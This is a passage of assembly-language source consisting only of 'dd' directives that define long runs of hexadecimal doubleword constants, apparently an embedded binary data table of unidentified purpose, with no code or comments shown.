8D81FD00h, 0A1204F63h, 4E08C994h, 50FAFC20h dd 5800E6AAh, 0E8B33D6h, 5893B5Ah, 8A2BF60Ah, 32C02020h dd 52046111h, 6F01A475h, 8EC5F581h, 98A50F8h, 0D94B7C43h dd 0B9BA8C83h, 2D41B80Ah, 4C4074C8h, 0D1261563h, 911074E0h dd 96D30023h, 1A60117Ah, 3BE70076h, 90A680D1h, 0FC03FD5Ah dd 3F2B50E5h, 98516018h, 1DF081E9h, 60ED20C1h, 4045B32h dd 30055084h, 23B8A9F4h, 2D189B8Dh, 1C41F521h, 5C23BFFDh dd 0C87C577h, 0D758C143h, 0E7A1808Dh, 64787D2Dh, 8F5700D9h dd 8C216DB5h, 0F8C1BF50h, 20176081h, 7CC1C447h, 18A0BB7Bh dd 8C3F15F8h, 767E9044h, 0D5393E6Bh, 35559E0Eh, 3E4900BFh dd 10F89283h, 2987CC00h, 0FF386C77h, 68EC17h, 537A1C90h dd 0D9D7C16h, 26BA3300h, 1B30D96Bh, 38800054h, 94276873h dd 8F0A9AEBh, 483167Dh, 9900D45Fh, 582CA5D5h, 75070D69h dd 7C730419h, 3E28016h, 90462083h, 6C297BCh, 95892233h dd 0F57F4147h, 5ABDEB07h, 241273E2h, 0C04A63FEh, 18C88B69h dd 71CE1A5Ch, 60C6730Fh, 78154A9h, 86C1BDBAh, 998546C8h dd 755B0A00h, 19BB8CB1h, 0BFA30084h, 0D3485CDEh, 9004610h dd 33477266h, 29C0CC30h, 10C10Dh, 39146658h, 0E61BBF7Eh dd 0B3589DCEh, 0A7610084h, 608D2A18h, 9A0292ADh, 474D9576h dd 0E5EE002h, 3FD80E23h, 0E123DDC8h, 0A23043D9h, 9E6DF15Dh dd 0B66A0060h, 9530ADF3h, 2E0132D0h, 0B73F48C2h, 0A3E68010h dd 0C0071E9Ch, 688A0Bh, 0ED598539h, 0F8225874h, 8E9D360Bh dd 0A440812Ah, 61BE1780h, 160E2100h, 282D1496h, 7455E75Ch dd 314FE4Dh, 0DC0BEEADh, 7CB4987Fh, 0BB1A2262h, 0DAACC18h dd 6047BF29h, 0B2301895h, 0F80717E4h, 9B77143Ch, 0B4078E60h dd 9D511D3Fh, 9A30C0F4h, 153947FDh, 7C706903h, 1B88B50h dd 0D0DA6F59h, 42C455D2h, 0B0A68DACh, 7D00E9D7h, 0D2CCD0DEh dd 0A08B12ABh, 0A6B348h, 705EF8C5h, 0E15C4244h, 1BCEC000h dd 0D3F63810h, 14050089h, 2B24722h, 0FF0FBCF4h, 0E61CE74Fh dd 7848926Bh, 0FCF00E2h, 0E6BDD765h, 8D009897h, 6ED856F1h dd 54984DCh, 920A6B22h, 65D421AAh, 2F6040F1h, 32003DCEh dd 236AB589h, 47709Eh, 1A081D38h, 0F47DE16Dh, 4A716063h dd 1D08707h, 28A903h, 4E55C6B8h, 92A5EA34h, 851894A6h dd 6270672Dh, 89230331h, 7638CD5Dh, 35FF0E98h, 0BED42716h dd 9EE33000h, 2465063Fh, 3055AADCh, 0DA485D38h, 4F47139h dd 9B2EC147h, 503883h, 0DA52EA59h, 3E9A02A7h, 0FF59218h dd 0C061BFE1h, 0CCB5B9B1h, 5500D975h, 816C9EA9h, 9249BF2Ah dd 3D9FEA00h, 4200E8CEh, 0CB8F012h, 662437BDh, 7840C4AAh dd 3722E87Fh, 0B0615C94h, 0A55DF1CBh, 0CF354F00h, 8051EF73h dd 309204h, 207FD211h, 5EE10543h, 8D978E50h, 6D7CE473h dd 0D0C44548h, 0B00CC594h, 0A1B2CC0h, 3A2990B3h, 6D96A60Fh dd 8FBD0006h, 0ED2FB8C5h, 0D5804712h, 990A3040h, 43C2687h dd 0CA51A855h, 0C5F882F1h, 3F0CFC46h, 0D165F5DBh, 0A1370023h dd 0E4BAA342h, 0D4723DC5h, 0BF915061h, 0C34D52Eh, 0FF8B3076h dd 0D7644269h, 5E070FFCh, 489F2BC1h, 0E9D6B700h, 13749Bh dd 84647D8h, 0B9584DDAh, 0EB57000h, 69534FB0h, 92B82475h dd 6754E4A4h, 5036D030h, 0FA448C24h, 1B490A9h, 0EC319984h dd 482E922Ah, 3FE8EFC8h, 0C00A952Ah, 8075093Dh, 14F8D3E0h dd 94652Ch, 36C005D5h, 0BE092512h, 0E27EE5F8h, 18642B5Ch dd 3769748Bh, 9E1C00F5h, 0A95B7E3Ch, 448486Ah, 45EC09BCh dd 8DD89080h, 2FC49h, 59D4528Fh, 1B6719CDh, 28B65C00h dd 3E0CFA1Eh, 59766480h, 40B9C1D3h, 9E68E9BAh, 948054A9h dd 0F005159Fh, 17D0A86Fh, 0BB21121Ch, 1570060h, 5F3DF766h dd 0ECD21900h, 3A1CAA39h, 151003BFh, 47DB7E33h, 4F280861h dd 309467BDh, 0C840C4D8h, 8C9185h, 0D2C04B27h, 0B700A7B1h dd 458B44C2h, 24D16h, 2399348Dh, 88A94859h, 0C81C7B03h dd 2B82B8h, 51F92699h, 9F3ABEB2h, 71D08404h, 1C885F9Ch dd 22D343E1h, 590800FAh, 89DFE9BBh, 0CA00B9A7h, 242033F4h dd 0E8BE6E55h, 28580111h, 233260A9h, 0EE0430B9h, 0DA12028Ch dd 5E61F5BFh, 80651F18h, 0DA005320h, 3A061512h, 2D92D13h dd 0DC1B4488h, 0BC008F90h, 16B4B927h, 18080Eh, 0AEFD32C0h dd 97000983h, 0CDD83C06h, 98357DE2h, 91240F98h, 90CCBDDEh dd 0C0056340h, 0A6E04D13h, 9838940Ah, 24416493h, 0F812E878h dd 351CF0h, 6B71FA98h, 6784E69Fh, 4862E726h, 0BF662380h dd 92911564h, 572A0024h dd 0F46F95C6h, 1348FCE2h, 0CA3A1E48h, 14401192h, 0D6B56EC9h dd 3D58008Bh, 0A879841Eh, 0DA0EF6F2h, 0A0AF14D4h, 0A97567BFh dd 12811ADEh, 0A061B895h, 3418CAEDh, 9615100Dh, 9A0E00Ch dd 5D1F0E0Eh, 6DE099C6h, 0F6DBCA23h, 7EC18660h, 17C58Bh dd 0D7602F18h, 0D83BFCA5h, 1DA6020Bh, 0B12490F6h, 0E36100F0h dd 550BA489h, 5839B99Dh, 0C864128Eh, 0E007784Ah, 3EC20980h dd 36CC0F7h, 81C90E56h, 7CE842A9h, 6749515Dh, 4C30486Ch dd 4106239h, 585C4048h, 52DBF0C1h, 1301B089h, 8A5CDCBh dd 112B007Ch, 4B8A0037h, 0D8540AEAh, 8B304585h, 0CBF0212Dh dd 0BEB75C5Ah, 0DDE87700h, 294067BEh, 0AC73DB01h, 4A2C9CA3h dd 47F1F450h, 4FA80E37h, 0A2200E61h, 0AD02C0B0h, 0BF05ABE4h dd 0F610D65Ah, 79FD8C8h, 662D30F2h, 0DE5F00E7h, 0F109CFDDh dd 28676373h, 7E189CACh, 6EC6BC1h, 0C0F2C484h, 4E09E003h dd 1707AB6Fh, 91108848h, 776D8060h, 0F83E0BB1h, 9016E18Fh dd 0A4419D00h, 1D357B5Bh, 0FE38024Bh, 0DFA1965Ah, 0FBE490A0h dd 9800D993h, 6CF560DBh, 0C0B8BD1Dh, 49384DE1h, 0E71D303Eh dd 0B54C2D55h, 7CD4D928h, 0D45179Fh, 0CC0136Bh, 50388181h dd 0CB913D01h, 0BDAE965Ch, 0EEDA6C74h, 3E66001Ah, 99416947h dd 58C329E0h, 0A2CCBE50h, 15C4035Ch, 623D3817h, 47DA3C00h dd 1E780F4h, 0C7730C67h, 8063EFACh, 869D0F49h, 52A8C74h dd 27CF8248h, 0CD182015h, 1E024718h, 0CC88E6A5h, 0DB3C60AEh dd 38A70444h, 0C0033175h, 8872E91Fh, 247F4B00h, 9360047Dh dd 5F691CF2h, 2163C058h, 7EAE6A11h, 0E8CB2700h, 4E822B76h dd 1FE03351h, 0B8184680h, 48F10541h, 0DCF914C3h, 7D229C24h dd 0A96E6C02h, 0A1149CAAh, 340247D8h, 1C31DE0h, 0FB767C0Ah dd 0E4B51A63h, 0CB0CFD31h, 41668285h, 0DA6B0E9Dh, 0EEC0AB91h dd 58A4EB7Bh, 2181D830h, 391E7Dh, 414B936Ch, 8EEB82BEh dd 2E5E6609h, 0C7742171h, 0CDE8FD0Eh, 87CB007Ah, 9960D50Ch dd 831E3758h, 0B1F3A201h, 6EF7D0C6h, 14210043h, 0BB19AD0Dh dd 3D0072AEh, 0EE660978h, 4848D2DEh, 2F14F8CFh, 98004486h dd 8099B4A8h, 0DA0FB361h, 0C08D6E90h, 35F7C17Fh, 940B4C3Eh dd 39628286h, 0AB9D2F00h, 0AAC0E1EBh, 5701000Ah, 4CD68D77h dd 11F41958h, 88F05229h, 28027400h, 0A42BA8h, 498BA397h dd 60C382F9h, 0B8756090h, 0CFA65801h, 7CE9F45Ch, 702D0901h dd 1CE807A5h, 989B9702h, 483F46DAh, 188F10h, 4D87B0B4h dd 2BF87C5Ch, 27386218h, 0C0618241h, 0BB9E6081h, 2C007F0Dh dd 0A78B5DB9h, 0C063C73h, 2E67460Eh, 5C011D29h, 3EC8B4D6h dd 21F01258h, 408D4A71h, 9E73CF44h, 0C201538Bh, 0E677879Ch dd 65D05C9Fh, 723D03ECh, 0AFCCB8B5h, 967DA100h, 884FEEF8h dd 8CE07A2h, 40643312h, 0D2653B2Ch, 7B721400h, 0B794D16Ch dd 639EE03Eh, 668F08CAh, 0D3F02002h, 0E05A7B6Dh, 1CF7F2CEh dd 4BBC899Fh, 20004151h, 3FDC4CCEh, 0B9849A00h, 11420297h dd 0A410C63Bh, 1E0348D7h, 6FAD514h, 3478002Dh, 53091055h dd 9E189DF8h, 6308C75Bh, 0D420C012h, 803C105Fh, 513CF1E4h dd 0B0951C55h, 0E40CAA1Fh, 37E12814h, 71C9168Dh, 81FFC492h dd 25B0DB20h, 0F1B9EB2Fh, 6DCA1D46h, 0C44F9448h, 0C2FB4069h dd 0CC646Dh, 0E7C34E9Bh, 3F3E1989h, 96E80800h, 0C284DF43h dd 974EE1Bh, 0EAE79C98h, 33FFB581h, 0CB80862Ah, 12713786h dd 169F592h, 6D73848Dh, 458C4312h, 0E42D6BA9h, 10702749h dd 0CA0D4800h, 0D21B3A4Bh, 0A1923C46h, 66A7CF80h, 5C2250E8h dd 486D1E00h, 93DDA79h, 4CF20183h, 0F0820345h, 0DF67F4E2h dd 0CE85E07h, 0BC7528Dh, 3D4126D0h, 0B0050066h, 0DDB23BF5h dd 900AF73h, 4CF89BD0h, 179EC4Eh, 2F820C9Dh, 20DD16DFh dd 35004A64h, 54435B57h, 0EED7CC8h, 0C39320B5h, 8322DDA0h dd 60F4E407h, 0C8358C00h, 0C0CC3BBCh, 0DC160758h, 0E01B64A9h dd 9ADF04Fh, 1A0B4374h, 7806D6F8h, 7C3A07C3h, 1078C553h dd 0AD6E3FE4h, 1A312700h, 76A3BE67h, 3E28C88Dh, 30E94041h dd 0A4106B02h, 561288E1h, 40204B88h, 22846F39h, 0B650EE06h dd 98442628h, 62284033h, 0D7186F00h, 5897DF54h, 25B507EFh dd 1CB7Bh, 0C3AE6B2Fh, 945B8E00h, 75E97046h, 0FE5D00D1h dd 748B59ACh, 0D9E624BFh, 7F01427Eh, 0E8C2BCB9h, 83C8AD7Ch dd 0A8BA0023h, 24464D6Bh, 6400EBDAh, 8B4B89A2h, 10E9BC6h dd 0EE1718EAh, 0D4ACD2D6h, 0E000448Fh, 68A30F0Ah, 7ACF2Ch dd 9EB6BADDh, 92AC157Eh, 635DBC0Ch, 7021885h, 4B942CC3h dd 96CE80D4h, 7D00D793h, 671E12ABh, 0B9EA92h, 8DB909Fh dd 8683ECFFh, 1B000DB8h, 87327CE6h, 0A0387215h, 8F60D8h dd 51D097EBh, 0D75EC89Ah, 0B615D200h, 94997D07h, 1A5000B5h dd 4B372AFEh, 640087B9h, 3DDB26FDh, 0E6608319h, 1B821CACh dd 46C9CE11h, 40BF2187h, 84BB10EFh, 98133C30h, 0F65F4F5h dd 0FFDFF2CEh, 229AB440h, 6D00B31Ah, 0E05EBB29h, 42FE5D8h dd 7CBE3374h, 393090E2h, 0BB8071Eh, 591C3F00h, 19412934h dd 0C8950047h, 57248EAAh, 2C040C75h, 0D8BECBDFh, 0D0EF4083h dd 3948011Ch, 0C180C828h, 0E4B4B2B7h, 0BE01B92Fh, 6137C45Ch dd 16E0308Bh, 66F00CFh, 46E74312h, 0D20041EAh, 0F35B097Eh dd 7B65584h, 0F399D5Ah, 88379085h, 3E0F6D3Ah, 8130A626h dd 0C4B14867h, 20FACCh, 43B70942h, 127A5D3Fh, 80A9BA00h dd 63ADAC41h, 0A65B00C8h, 5FE48EE7h, 7A4845B0h, 43C200A8h dd 52234D42h, 969000F7h, 8FF5FB6Ch, 0A37A1BB8h, 0FA05D407h dd 0CF90B38Eh, 986F2296h, 0F4A7007Ch, 0A251FCADh, 0BC1C8B94h dd 9080FD08h, 0D7B074F1h, 721E3B11h, 0E585100h, 96802761h dd 923D0300h, 20E0B502h, 236503FFh, 673AD51Bh, 0BB057998h dd 0A6805801h, 0E2D0079Dh, 0E0E86AD8h, 0D890BFh, 9B1E43AAh dd 0EE2AB0C1h, 0E0C5B200h, 8DF062FFh, 15B909A1h, 38205034h dd 0A50D7D19h, 8039EE3Bh, 96B652E9h, 2A6483h, 320C56C6h dd 0F6855481h, 0F400B771h, 2DBBCE93h, 7C9CBC44h, 7A9000DFh dd 0B7887763h, 7D07C630h, 9932A450h, 0E3794950h, 2752003Ah dd 1A3438E2h, 22004E7Bh, 0FF26C808h, 73823972h, 33C00081h dd 85B01450h, 693CE031h, 269180F6h, 0AB11D410h, 725F3E8Ch dd 0E86B50F5h, 0DCB000ECh, 21A6E8Eh, 4039722h, 5DDE1E05h dd 5FABC1E3h, 0C790F047h, 0E2F28D4Ah, 897614C3h, 1C008045h dd 14375EBDh, 2AC17304h, 8ABC6090h, 2F5A30h, 0CEDED035h dd 0B0802625h, 39509D00h, 0A42A9249h, 0CA6A00CBh, 81E1B566h dd 793F5B5Eh, 1404C75h, 1CD5BBEDh, 78EC6CA3h, 1F740016h dd 123D71EEh, 0F8001773h, 62A12311h, 0E0DE80h, 4678CBB3h dd 8C6E6371h, 0CDCF102h, 87F6F8B7h, 0BA877EB2h, 88E41E93h dd 90DAB04h, 11827197h, 0ED6F0500h, 5D004327h, 0E1A160D4h dd 4D0EAFh, 41B294E5h, 885E1E78h, 0C2352600h, 2CDAA799h dd 0D6BC0734h, 80AA9F5Ah, 0C3A9C9D5h, 541B1A25h, 38AE00C5h dd 79EA8CFh, 79C74C00h, 0A59D15B7h, 0F47B03E3h, 0FC1C579Fh dd 6650A788h, 585A4F24h, 58900447h, 0C726A8h, 8B99302Bh dd 1584FB2Fh, 80517338h, 0A6BB2885h, 0A7DEF7h, 99F531E9h dd 0C33688C9h, 0FF1A1500h, 0EA5DFA19h, 3FCE010Ah, 0CA0B1121h dd 60FA40C2h, 22032D08h dd 0F50F0639h, 0CB1DA084h, 0E5DAA3C5h, 3B104404h, 27500700h dd 0F701C8F6h, 1358DA5Dh, 55F5571Ah, 53ACD88Ch, 0EE04F159h dd 508D2C62h, 0A9306C87h, 3A22D99Eh, 0BC80F8BDh, 0B9FD9CBEh dd 0B813BB4Fh, 0AC006FFBh, 0F80B4E40h, 267A019Fh, 5A0CBF3Dh dd 0E6AF4259h, 660F52E0h, 61BD880Fh, 9FBB60ADh, 7635DEh dd 93253C58h, 0EA649057h, 9BE94A02h, 4344FD24h, 1903E888h dd 0CCDF01E5h, 794ED52Ah, 1FF6F055h, 80127438h, 0A1DAC71Bh dd 0B37853h, 14578946h, 682215BDh, 0DF0081ECh, 0F205FBEDh dd 8DB0F4h, 4B2558D5h, 0CFAF2B24h, 621F507Ch, 0C5C02977h dd 0E0BA1E69h, 0C02013Fh, 40F9948Fh, 36B9DCE5h, 5EA21802h dd 60FA6D0Fh, 51E988h, 71F2E54h, 8CD9766Ah, 0B42CA124h dd 0E4623800h, 7C42B0EFh, 9E5A00A3h, 6937406Ch, 0CC0084C1h dd 137245F7h, 7030C50h, 117D5E23h, 0AF80F214h, 75E23340h dd 7033B61Ch, 0D06E7380h, 997CEBh, 0BA2694AAh, 9CCEB95Dh dd 2AE06D60h, 3FB79DE6h, 1E096752h, 0CC00CCB2h, 895506C8h dd 0A68F100h, 1C93725h, 0A01D1244h, 0DF5E003Bh, 0D891D477h dd 9400D3B0h, 40C04B16h, 6DC166h, 27E951BBh, 0C5AFD1B0h dd 0DE241000h, 0A06C02DBh, 1C2F0E57h, 0C20068E4h, 0D03E7C37h dd 0D9C6A01h, 0E0DABFEDh, 6E8AFCh, 7B87A3BBh, 0D7066D9Eh dd 691B0A0Fh, 6074AFC9h, 12A9E532h, 0CCAC0008h, 0BDE237C7h dd 1CECEE0Ah, 7B5FC400h, 8DD8CA78h, 0E3FB01A5h, 41B0DE46h dd 8090BAF1h, 21D90C7h, 0FAB4FE03h, 453D003Bh, 9DA9065Eh dd 0F8F41716h, 52D143Bh, 0C9E9D67Ah, 19B87180h, 8EF407DEh dd 93D962E7h, 9D03FB0h, 89908A1Bh, 980FA200h, 1DAD9052h dd 366D00D6h, 0D0272B7Ch, 4704D95Ch, 0B10DCB14h, 7168A481h dd 30563064h, 0FCD6B2C8h, 0AB00DF92h, 0B6392335h, 0EE0D0E6Ch dd 7FB006Ah, 0B9FF2A87h, 9C00D065h, 3618EC1Eh, 495261h dd 0F4641975h, 0CBE593B3h, 12E1C200h, 924AC123h, 9F090341h dd 47B44560h, 7E3C20CEh, 4481127Ch, 85244403h, 6742D0F5h dd 2C55EACCh, 956ABFAh, 0D280FD86h, 0EDD63521h, 83384100h dd 551BB990h, 7C3218C6h, 0DD5DCC92h, 946F8101h, 0E38D6163h dd 11B54420h, 0E1CFC05h, 1C70C175h, 6F012D01h, 47EC412Ah dd 1E35002Eh, 0B16911D2h, 980F2389h, 8049B322h, 0AE92A668h dd 295F8CCh, 37772BB8h, 5740406Eh, 0A2FE395Ah, 0EFD53403h dd 0F0805266h, 0D6EE3Fh, 0B9916048h, 9843CE32h, 0FCEDE700h dd 0B8A22496h, 0B78300C2h, 18CB5E09h, 8F7C0E9Eh, 3321F500h dd 7772B936h, 0B62D251Eh, 0E5C0208Fh, 54BD3938h, 7A77C67Dh dd 0DA30FCBAh, 5E62E123h, 8C9880h, 0D9DB8E3Ah, 31764777h dd 2B91D000h, 0BF01C6B3h, 344F1CF9h, 56ACC025h, 556379C4h dd 52E3D603h, 0B0C94BF2h, 0CEC3F3h, 3E99685Eh, 0E238A8DEh dd 2D036477h, 1AAAC839h, 0F0AEC0F3h, 177F0026h, 85147501h dd 0B24C0548h, 4B0600B0h, 6C4C716Bh, 0E7EB0065h, 2D6E9951h dd 0D8170795h, 0D400F2CAh, 818343AFh, 52FAA4h, 6D0C539Ah dd 3704C52Bh, 8B005F77h, 9509487Bh, 0A6843Ah, 0EC89257Ah dd 0B6D8EFC1h, 5E6FCC04h, 80AB0181h, 6B80E52Ah, 448BAA00h dd 4A1E0E7Ah, 109F67ABh, 0F0E087B7h, 0EEFC1BA3h, 0FBDE9714h dd 76B400C4h, 996F7886h, 0FC20F9EBh, 5B303F5h, 0F41AEF28h dd 0CC8172F9h, 5D007043h, 2299EBBBh, 0B08CC6A5h, 0E0800044h dd 5F140C1Fh, 461ED8C4h, 0FBC0C021h, 2F83588Fh, 0F0FF0F40h dd 1C2087E1h, 0F72CAF65h, 48F3A94Ch, 813A06DEh, 7D04B8Bh dd 53DBC52Eh, 0C3F6E00Fh, 6A00B0FAh, 2F19D647h, 0A0CFD92Bh dd 3DA7D4h, 53D1E93Fh, 0C1B97131h, 7E695Ch, 0BBE102D9h dd 4841779Eh, 9B381835h, 874CF80h, 0FCF63960h, 42CA4504h dd 24C7EC61h, 7DD14A37h, 5CD0E595h, 0A09B01FDh, 75F1E08h dd 0E081C0A5h, 38BDAF00h, 0B2CCFE8Ah, 0DE170048h, 8D4C4B1Dh dd 4B985AE1h, 41E82E05h, 96874EA6h, 0DB2B070h, 0EDBF009Ch dd 0E776FF06h, 6228C2A3h, 595C9811h, 83A402CCh, 0A071A6DAh dd 2D3E9CF8h, 0A07232h, 47BFC05Bh, 3B69F37h, 0C3F49402h dd 80A68742h, 9C0B21CAh, 0F9AD0006h, 0A2720C5h, 22001B6Dh dd 0D568C809h, 2C8024h, 0B829F38Ch, 704D8DF6h, 9F07BF00h dd 0B33830D4h, 7BB902B7h, 0AF734C2Ch, 6E9B9860h, 8D00EAFCh dd 160D0333h, 3759D08h, 0AF3EDA17h, 0A8006FACh, 0D7B6CBB7h dd 121FC0CDh, 0BD62FAh, 7BCAAE9h, 0A20065F4h, 0C7D57D39h dd 16DC4761h, 1D972689h, 2EE08038h, 3B510F87h, 0DF74D800h dd 73B867E2h, 0B9EF0034h, 8A77A6D9h, 80BA4968h, 0E6A50407h dd 6D8022D2h, 562F7Bh, 0B69BEAD5h, 0F0D93467h, 0DD02D600h dd 5F7BC872h, 44AC0B48h, 8380113Bh, 66519309h, 23C34F07h dd 96E08552h, 0D7F800Fh, 0DEB46DAAh, 109C40BEh, 0A3FE288Eh dd 0E8007A74h, 87B1260h, 1D6B78Dh, 6F75F198h, 4047C763h dd 85FE5DB7h, 3ACE9B00h, 7B96E55Ch, 8C0E0037h, 7EBFD3EFh dd 34F3F034h, 0E51E9E70h, 0BACC430Fh, 178DECFEh, 40926A4Ch dd 7585A5E8h, 0F40E26C5h, 89BB4437h, 0FB42088h, 2D579A6h dd 0FFE0D3B8h, 90A04D37h, 53109545h, 366C620h, 0CFBF6FB2h dd 0C1C7F60Eh, 0C1353390h, 0C043D2B4h, 0C1DED4D0h, 0BD1E761Eh dd 0F86B9A44h, 0D7CCB4D1h, 213C3D4h, 0C8F1AAD4h, 3EC07611h dd 0A009A7Ah, 0CB8A9C4Ch, 2BBB01h, 0A53DBC9Fh, 9D39221Eh dd 0F054B400h, 0E9CC294Ah, 42E00034h, 9A9BFA1Dh, 6400FE7Eh dd 0AABF7362h, 1C2C329Dh, 0D5A39Ch, 12831B8Ch, 0BC00B1F7h dd 904431E6h, 0C91A69D4h, 0EC449198h, 26F820h, 9F8A09CDh dd 57FD75F3h, 507D4D10h, 0E2DA0E00h, 43F22426h, 0B7B89015h dd 0F92500C0h, 0FE725AE4h, 0A0337917h, 1EC17FA0h, 0E5F4620Dh dd 80AC5008h, 4BFB3A58h, 74012633h, 0B2D393D9h, 63DC436Bh dd 3A8A022Ah, 671CCEE5h, 37BD6F60h, 0B92FAF1Eh, 3D96E341h dd 802E3464h, 0B053DF9Bh, 0BADCE801h, 8CF5539h, 287EECh dd 0E92BEE7Fh, 0E0C6F1F8h, 785B8300h, 0E10AA2F6h, 641A01CFh dd 2C2D6026h, 0EFD4E895h, 282FD500h, 9D9AA636h, 0B5710091h dd 53AC7FDFh, 5F6063F5h, 0BD15A2F0h, 0EC83006Ch, 4EFBB0CBh dd 7B001CD6h, 0DB44BA2Eh, 9A25A9h, 0F058806Eh, 0FD4E0CF6h dd 0E8FA6D00h, 0C296D74Dh, 0CF6C00ACh, 358F1F2Bh, 0B0047899h dd 1B3C4537h, 920F0h, 0C2FD163Fh, 0D81D0220h, 29837B00h dd 0A595F05Ah, 3DD0B070h, 889693Ch, 0F4806897h, 7B18EAE0h dd 0B0811C0Fh, 5EC7E088h, 3534C03h, 32481FF2h, 0CFA8FFFDh dd 0EA0F4944h, 0A0808EDEh, 78C3F5E7h, 5E7C45h, 0DDB7AA31h dd 0AF93DABAh, 0A2E49F00h, 0E14CC09h, 161003B1h, 954C2A32h dd 96D52180h, 9E79663Fh, 0A8C764A9h, 0B0571510h, 11B9AE40h dd 54390E9Ah, 87A907F4h, 0BAA5BF00h, 0EE091A91h, 70A1B47h dd 0B8504640h, 2B57A3h, 0D4B3C5B2h, 25F00131h, 6515C304h dd 0E4F1857Eh, 134C030h, 1CFF85Bh, 0FC6F2A83h, 75050F7Bh dd 0C5B18462h, 4065CCC2h, 1C70DE60h, 0F5C84Ah, 0E76CB4A1h dd 55001E93h, 0EB946590h, 7158F7h, 85DAAACFh, 0EABC9AEh dd 14E8A600h, 8B5DE220h, 83D9008Fh, 1C22F52Dh, 4122ED0h dd 0F44433A6h, 18A223D1h, 323A7100h, 0E2C0B4Ah, 2EF25C00h dd 3EA767DDh, 40224C6Ah dd 0C6C1E400h, 0CDA0281h, 77FD6F00h, 0D127C9E2h, 3ADBFA5Bh dd 110074F6h, 0B517D684h, 0D2F24730h, 4102C700h, 1C82DC4Bh dd 0D3FB0054h, 2FE917F1h, 0DB008086h, 0C0B4959Ah, 18D1B6CCh dd 0CB5F9C2h, 0BD3D0940h, 9AFF000Ch, 0A21ED67Dh, 677C6h dd 0C1FA46C3h, 299C8C26h, 0AD5E4C0Eh, 0A45A6310h, 0C82E88C4h dd 0DFFF0008h, 8EEF672Bh, 0DA14C27Ch, 6CC58E6h, 7B0ED632h dd 89F4E2h, 354CBBC6h, 5306870Bh, 0B4230200h, 7CE56BEBh dd 71C600C7h, 83248B9Eh, 0FE001EA4h, 75431621h, 4A6F477Fh dd 4C6BC9Fh, 7C527B0h, 775908Ch, 838B1F7Dh, 50C9109Ah dd 92005CF9h, 282EC58Ah, 1D6308h, 0E86B1E66h, 94B60AFh dd 2AE2D003h, 614881h, 8014FED2h, 1D0A24A3h, 92FD3000h dd 588E44C1h, 50CC26DAh, 0FC2A00B9h, 0ECE5C83Dh, 65522D17h dd 0E9837980h, 0A4230268h, 5D9B8DB3h, 97EC64C0h, 3C0459E4h dd 1068BE31h, 1E1D1090h, 433B0081h, 61279914h, 0D90062BAh dd 0B21C0854h, 34788Ah, 0DC2F10F2h, 8F48C581h, 0A9094472h dd 451ECDh, 3B2D08B0h, 20E20082h, 0D7968026h, 7F3B720Bh dd 0FD51074Eh, 80BECBB1h, 0B0D22C8Ch, 0D58500DBh, 4F629917h dd 9A7FB711h, 940F53F6h, 80093D52h, 22304DFFh, 0AD1C5C3Eh dd 0DF670505h, 9C9CC006h, 0AC77F844h, 5AA2B600h, 0CA6D8962h dd 0FAE5000Ch, 127F2266h, 5500427Eh, 1DC77082h, 2753A5h dd 5BC87183h, 7FE59DC3h, 0AE5C18B8h, 55010032h, 0A579BB9Ch dd 0FB070010h, 0D97D5359h, 8500861Eh, 73A3E930h, 0FD0DCD7h dd 0BD8AD445h, 0F44C260h, 32000C50h, 0CFD646C6h, 38F328FDh dd 6480DF1Ch, 0AE9E267Eh, 0C502A1A8h, 8AC0D7A6h, 84A6042h dd 22A32DBFh, 60539084h, 58750DB7h, 0A9007E70h, 4EE81548h dd 0D30F3537h, 0A0C49E3Ch, 0A6FC120Dh, 2A71001Fh, 80E56421h dd 0A20109AEh, 4A086D4Bh, 1F876F7h, 65D6C06Ch, 0D80E055Bh dd 93003B75h, 0CBA51438h, 0EAF7D637h, 0EE643F2Ah, 80C8C6A6h dd 5A80C2D3h, 231318F4h, 0BD00756Ah, 4D3E887Ah, 0A10B07A0h dd 0C061847Dh, 0CC767B90h, 0A28DD100h, 8E6A7A91h, 77DE013Eh dd 0FCABA349h, 0C07FFC75h, 52271C00h, 0FD97168h, 73D5EE2h dd 7B09C818h, 5E038BF6h, 9013722Eh, 985C999Eh, 0C7821E78h dd 4A8C000Ch, 0ABD6D7A4h, 997CF600h, 65186414h, 8F2E1EB3h dd 695C804Dh, 94810E88h, 8378DE3Ch, 0CDF046D9h, 0E8C08544h dd 482CCF09h, 0B94C748Fh, 89204118h, 6F0E84C4h, 8061A1F7h dd 0D52AA706h, 215D6073h, 7A4EFE86h, 0CF338D0h, 8CEC424h dd 43380187h, 92A35F37h, 0E61DD8B2h, 0F3680403h, 0F8EB2434h dd 133B32h, 22B3F647h, 70A7398Fh, 3E9BF21Fh, 0A8CC3706h dd 0E17D18h, 18E26D4Ch, 4F2C0ED8h, 2A980C1h, 799FD06Bh dd 26826F4h, 188605CEh, 21E568A2h, 0C1006411h, 582C657Eh dd 0CC00DCC5h, 0DF0E2EB1h, 7B6E003Fh, 0BB10CA75h, 0AB1E3692h dd 31C03570h, 0C267436Dh, 0F2380024h, 0A413FB48h, 3F0088EFh dd 194471F0h, 0EE245DD1h, 926E00EBh, 54227411h, 97005EE7h dd 0ACD5209Ch, 3033FD02h, 8CA0EEC8h, 79F8B142h, 0B809FB00h dd 395CE6E7h, 0BA72008Fh, 0DD42A4C0h, 2600F3F5h, 0DCC2F264h dd 1F7B693Fh, 40893A02h, 0F42097Ah, 9874E26Ah, 808AFB3Dh dd 4D61D3BFh, 903745A6h, 0F16E00BDh, 63F6C656h, 0D0005C49h dd 7DF00751h, 697EB7h, 604EBAAFh, 0F9402401h, 0A03B5328h dd 2F2C1A00h, 0C2AB4322h, 12127C5Eh, 10D9E45h, 148D5531h dd 0BAF4CC32h, 3D701100h, 122B89C4h, 0EF28003Ah, 487C0EBh dd 4F1F6965h, 55019583h, 37680F43h, 0C4248361h, 0C9E7001Ah dd 5FEAFD8Fh, 6C131370h, 0FA006FB4h, 0E3721206h, 0DEE4A8FFh dd 749451h, 38EF9F8h, 0D9070FDBh, 0D89920ACh, 0A7D6B310h dd 1D917F84h, 0D91457BDh, 0F477D071h, 48C4F5ACh, 80D5EB5Ch dd 0BE768807h, 1F56D5B0h, 14530C2Ch, 4F286BCCh, 0A9EFF00h dd 358F2A8Dh, 0C62B0186h, 0CB41DDE5h, 5E826E74h, 9098A077h dd 927020E4h, 0D527008Ch, 138643CFh, 0B81D5DBBh, 0D9405CB2h dd 67EF1B3Fh, 47E3016Fh, 0A6AD11Eh, 7DE0DFDDh, 9800D3DFh dd 5BD2F030h, 5396AEh, 0EA747C8Ah, 0B08DE795h, 0D9FE251Dh dd 20701D8Fh, 52B979C5h, 26F700A1h, 0ECCFBFF1h, 0DF009DDDh dd 39C19666h, 18D442Bh, 